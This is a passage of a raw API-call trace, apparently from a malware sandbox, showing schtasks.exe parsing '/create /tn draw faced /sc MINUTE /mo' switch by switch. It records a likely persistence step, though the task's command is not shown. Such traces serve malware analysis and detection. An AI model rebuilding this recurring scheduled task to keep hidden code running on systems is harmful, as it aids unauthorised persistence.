[0119.754] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.754] lstrlenW (lpString="du") returned 2 [0119.754] GetThreadLocale () returned 0x409 [0119.754] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.754] lstrlenW (lpString="ri") returned 2 [0119.754] GetThreadLocale () returned 0x409 [0119.754] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.754] lstrlenW (lpString="z") returned 1 [0119.754] GetThreadLocale () returned 0x409 [0119.754] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.754] lstrlenW (lpString="f") returned 1 [0119.754] GetThreadLocale () returned 0x409 [0119.754] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.754] lstrlenW (lpString="v1") returned 2 [0119.754] GetThreadLocale () returned 0x409 [0119.754] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.754] lstrlenW (lpString="xml") returned 3 [0119.754] GetThreadLocale () returned 0x409 [0119.754] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.754] lstrlenW (lpString="ec") returned 2 [0119.754] GetThreadLocale () returned 0x409 [0119.755] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.755] lstrlenW (lpString="rl") returned 2 [0119.755] GetThreadLocale () returned 0x409 [0119.755] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.755] lstrlenW (lpString="delay") returned 5 [0119.755] GetThreadLocale () returned 0x409 [0119.755] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.755] lstrlenW (lpString="np") returned 2 [0119.755] GetThreadLocale () returned 0x409 [0119.755] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.755] lstrlenW (lpString="hresult") returned 7 [0119.755] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.755] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.755] lstrlenW (lpString="/create") returned 7 [0119.755] lstrlenW (lpString="-/") returned 2 [0119.755] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0119.755] lstrlenW (lpString="create") returned 6 [0119.755] lstrlenW (lpString="create") returned 6 [0119.755] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.755] lstrlenW (lpString="create") returned 6 [0119.755] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.755] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|create|") returned 8 [0119.755] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x9, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|create|") returned 8 [0119.755] lstrlenW (lpString="|create|") returned 8 [0119.755] lstrlenW (lpString="|create|") returned 8 [0119.755] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0119.755] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.756] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.756] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.756] lstrlenW (lpString="/tn") returned 3 [0119.756] lstrlenW (lpString="-/") returned 2 [0119.756] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0119.756] lstrlenW (lpString="create") returned 6 [0119.756] lstrlenW (lpString="create") returned 6 [0119.756] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.756] lstrlenW (lpString="tn") returned 2 [0119.756] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.756] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|create|") returned 8 [0119.756] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tn|") returned 4 [0119.756] lstrlenW (lpString="|create|") returned 8 [0119.756] lstrlenW (lpString="|tn|") returned 4 [0119.756] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0119.756] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.756] lstrlenW (lpString="?") returned 1 [0119.756] lstrlenW (lpString="?") returned 1 [0119.756] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.756] lstrlenW (lpString="tn") returned 2 [0119.756] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.756] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|?|") returned 3 [0119.756] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tn|") returned 4 [0119.756] lstrlenW (lpString="|?|") returned 3 [0119.756] lstrlenW (lpString="|tn|") returned 4 [0119.756] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.757] lstrlenW (lpString="s") returned 1 [0119.757] lstrlenW (lpString="s") returned 1 [0119.757] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.757] lstrlenW (lpString="tn") returned 2 [0119.757] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.757] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|s|") returned 3 [0119.757] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tn|") returned 4 [0119.757] lstrlenW (lpString="|s|") returned 3 [0119.757] lstrlenW (lpString="|tn|") returned 4 [0119.757] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.757] lstrlenW (lpString="u") returned 1 [0119.757] lstrlenW (lpString="u") returned 1 [0119.757] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.757] lstrlenW (lpString="tn") returned 2 [0119.757] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.757] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|u|") returned 3 [0119.757] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tn|") returned 4 [0119.757] lstrlenW (lpString="|u|") returned 3 [0119.757] lstrlenW (lpString="|tn|") returned 4 [0119.757] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.757] lstrlenW (lpString="p") returned 1 [0119.757] lstrlenW (lpString="p") returned 1 [0119.757] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.757] lstrlenW (lpString="tn") returned 2 [0119.757] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.758] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|p|") returned 3 [0119.758] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tn|") returned 4 [0119.758] lstrlenW (lpString="|p|") returned 3 [0119.758] lstrlenW (lpString="|tn|") returned 4 [0119.758] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.758] lstrlenW (lpString="ru") returned 2 [0119.758] lstrlenW (lpString="ru") returned 2 [0119.758] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.758] lstrlenW (lpString="tn") returned 2 [0119.758] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.758] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|ru|") returned 4 [0119.758] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tn|") returned 4 [0119.758] lstrlenW (lpString="|ru|") returned 4 [0119.758] lstrlenW (lpString="|tn|") returned 4 [0119.758] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0119.758] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.758] lstrlenW (lpString="rp") returned 2 [0119.758] lstrlenW (lpString="rp") returned 2 [0119.758] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.758] lstrlenW (lpString="tn") returned 2 [0119.758] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.758] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|rp|") returned 4 [0119.758] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tn|") returned 4 [0119.758] lstrlenW (lpString="|rp|") returned 4 [0119.759] lstrlenW (lpString="|tn|") returned 4 [0119.759] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0119.759] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.759] lstrlenW (lpString="sc") returned 2 [0119.759] lstrlenW (lpString="sc") returned 2 [0119.759] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.759] lstrlenW (lpString="tn") returned 2 [0119.759] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.759] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|sc|") returned 4 [0119.759] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tn|") returned 4 [0119.759] lstrlenW (lpString="|sc|") returned 4 [0119.759] lstrlenW (lpString="|tn|") returned 4 [0119.759] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0119.759] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.759] lstrlenW (lpString="mo") returned 2 [0119.759] lstrlenW (lpString="mo") returned 2 [0119.759] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.759] lstrlenW (lpString="tn") returned 2 [0119.759] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.759] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|mo|") returned 4 [0119.759] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tn|") returned 4 [0119.759] lstrlenW (lpString="|mo|") returned 4 [0119.759] lstrlenW (lpString="|tn|") returned 4 [0119.759] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0119.759] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.760] lstrlenW (lpString="d") returned 1 [0119.760] lstrlenW (lpString="d") returned 1 [0119.760] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.760] lstrlenW (lpString="tn") returned 2 [0119.760] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.760] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|d|") returned 3 [0119.760] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tn|") returned 4 [0119.760] lstrlenW (lpString="|d|") returned 3 [0119.760] lstrlenW (lpString="|tn|") returned 4 [0119.760] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.760] lstrlenW (lpString="m") returned 1 [0119.760] lstrlenW (lpString="m") returned 1 [0119.760] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.760] lstrlenW (lpString="tn") returned 2 [0119.760] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.760] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|m|") returned 3 [0119.760] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tn|") returned 4 [0119.760] lstrlenW (lpString="|m|") returned 3 [0119.760] lstrlenW (lpString="|tn|") returned 4 [0119.760] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.760] lstrlenW (lpString="i") returned 1 [0119.760] lstrlenW (lpString="i") returned 1 [0119.760] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.760] lstrlenW (lpString="tn") returned 2 [0119.760] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.761] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|i|") returned 3 [0119.761] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tn|") returned 4 [0119.761] lstrlenW (lpString="|i|") returned 3 [0119.761] lstrlenW (lpString="|tn|") returned 4 [0119.761] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.761] lstrlenW (lpString="tn") returned 2 [0119.761] lstrlenW (lpString="tn") returned 2 [0119.761] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.761] lstrlenW (lpString="tn") returned 2 [0119.761] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.761] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tn|") returned 4 [0119.761] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tn|") returned 4 [0119.761] lstrlenW (lpString="|tn|") returned 4 [0119.761] lstrlenW (lpString="|tn|") returned 4 [0119.761] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0119.761] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.761] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.761] lstrlenW (lpString="draw faced") returned 10 [0119.761] lstrlenW (lpString="-/") returned 2 [0119.761] StrChrIW (lpStart="-/", wMatch=0x64) returned 0x0 [0119.761] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.761] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.761] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.761] lstrlenW (lpString="draw faced") returned 10 [0119.761] StrChrIW (lpStart="draw faced", wMatch=0x3a) returned 0x0 [0119.761] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.761] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.762] lstrlenW (lpString="draw faced") returned 10 [0119.762] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.762] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.762] lstrlenW (lpString="/sc") returned 3 [0119.762] lstrlenW (lpString="-/") returned 2 [0119.762] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0119.762] lstrlenW (lpString="create") returned 6 [0119.762] lstrlenW (lpString="create") returned 6 [0119.762] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.762] lstrlenW (lpString="sc") returned 2 [0119.762] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.762] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|create|") returned 8 [0119.762] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|sc|") returned 4 [0119.762] lstrlenW (lpString="|create|") returned 8 [0119.762] lstrlenW (lpString="|sc|") returned 4 [0119.762] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0119.762] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.762] lstrlenW (lpString="?") returned 1 [0119.762] lstrlenW (lpString="?") returned 1 [0119.762] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.762] lstrlenW (lpString="sc") returned 2 [0119.762] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.762] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|?|") returned 3 [0119.762] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|sc|") returned 4 [0119.762] lstrlenW (lpString="|?|") returned 3 [0119.763] lstrlenW (lpString="|sc|") returned 4 [0119.763] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.763] lstrlenW (lpString="s") returned 1 [0119.763] lstrlenW (lpString="s") returned 1 [0119.763] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.763] lstrlenW (lpString="sc") returned 2 [0119.763] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.763] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|s|") returned 3 [0119.763] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|sc|") returned 4 [0119.763] lstrlenW (lpString="|s|") returned 3 [0119.763] lstrlenW (lpString="|sc|") returned 4 [0119.763] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.763] lstrlenW (lpString="u") returned 1 [0119.763] lstrlenW (lpString="u") returned 1 [0119.763] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.763] lstrlenW (lpString="sc") returned 2 [0119.763] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.763] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|u|") returned 3 [0119.763] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|sc|") returned 4 [0119.763] lstrlenW (lpString="|u|") returned 3 [0119.763] lstrlenW (lpString="|sc|") returned 4 [0119.763] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.764] lstrlenW (lpString="p") returned 1 [0119.764] lstrlenW (lpString="p") returned 1 [0119.764] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.764] lstrlenW (lpString="sc") returned 2 [0119.764] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.764] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|p|") returned 3 [0119.764] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|sc|") returned 4 [0119.764] lstrlenW (lpString="|p|") returned 3 [0119.764] lstrlenW (lpString="|sc|") returned 4 [0119.764] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.764] lstrlenW (lpString="ru") returned 2 [0119.764] lstrlenW (lpString="ru") returned 2 [0119.764] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.764] lstrlenW (lpString="sc") returned 2 [0119.764] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.764] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|ru|") returned 4 [0119.764] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|sc|") returned 4 [0119.764] lstrlenW (lpString="|ru|") returned 4 [0119.764] lstrlenW (lpString="|sc|") returned 4 [0119.764] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0119.764] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.764] lstrlenW (lpString="rp") returned 2 [0119.764] lstrlenW (lpString="rp") returned 2 [0119.764] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.764] lstrlenW (lpString="sc") returned 2 [0119.765] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.765] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|rp|") returned 4 [0119.765] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|sc|") returned 4 [0119.765] lstrlenW (lpString="|rp|") returned 4 [0119.765] lstrlenW (lpString="|sc|") returned 4 [0119.765] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0119.765] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.765] lstrlenW (lpString="sc") returned 2 [0119.765] lstrlenW (lpString="sc") returned 2 [0119.765] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.765] lstrlenW (lpString="sc") returned 2 [0119.765] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.765] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|sc|") returned 4 [0119.765] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|sc|") returned 4 [0119.765] lstrlenW (lpString="|sc|") returned 4 [0119.765] lstrlenW (lpString="|sc|") returned 4 [0119.765] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0119.765] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.765] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.765] lstrlenW (lpString="MINUTE") returned 6 [0119.765] lstrlenW (lpString="-/") returned 2 [0119.765] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0119.765] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.765] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.765] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.765] lstrlenW (lpString="MINUTE") returned 6 [0119.766] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0119.766] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.766] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.766] GetProcessHeap () returned 0x160526b0000 [0119.766] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x18) returned 0x160526baa10 [0119.766] _memicmp (_Buf1=0x160526baa10, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.766] lstrlenW (lpString="MINUTE") returned 6 [0119.766] GetProcessHeap () returned 0x160526b0000 [0119.766] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0xe) returned 0x160526baa30 [0119.766] lstrlenW (lpString="MINUTE") returned 6 [0119.766] lstrlenW (lpString=" \x09") returned 2 [0119.766] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0119.766] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0119.766] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0119.766] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0119.766] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0119.766] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0119.766] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0119.766] GetLastError () returned 0x0 [0119.766] lstrlenW (lpString="MINUTE") returned 6 [0119.766] lstrlenW (lpString="MINUTE") returned 6 [0119.766] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.766] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.766] lstrlenW (lpString="/mo") returned 3 [0119.766] lstrlenW (lpString="-/") returned 2 [0119.766] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0119.766] lstrlenW (lpString="create") returned 6 [0119.766] lstrlenW (lpString="create") returned 6 [0119.766] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.767] lstrlenW (lpString="mo") returned 2 [0119.767] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.767] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|create|") returned 8 [0119.767] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|mo|") returned 4 [0119.767] lstrlenW (lpString="|create|") returned 8 [0119.767] lstrlenW (lpString="|mo|") returned 4 [0119.767] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0119.767] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.767] lstrlenW (lpString="?") returned 1 [0119.767] lstrlenW (lpString="?") returned 1 [0119.767] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.767] lstrlenW (lpString="mo") returned 2 [0119.767] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.767] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|?|") returned 3 [0119.767] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|mo|") returned 4 [0119.767] lstrlenW (lpString="|?|") returned 3 [0119.767] lstrlenW (lpString="|mo|") returned 4 [0119.767] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.767] lstrlenW (lpString="s") returned 1 [0119.767] lstrlenW (lpString="s") returned 1 [0119.767] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.767] lstrlenW (lpString="mo") returned 2 [0119.767] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.767] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|s|") returned 3 [0119.768] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|mo|") returned 4 [0119.768] lstrlenW (lpString="|s|") returned 3 [0119.768] lstrlenW (lpString="|mo|") returned 4 [0119.768] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.768] lstrlenW (lpString="u") returned 1 [0119.768] lstrlenW (lpString="u") returned 1 [0119.768] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.768] lstrlenW 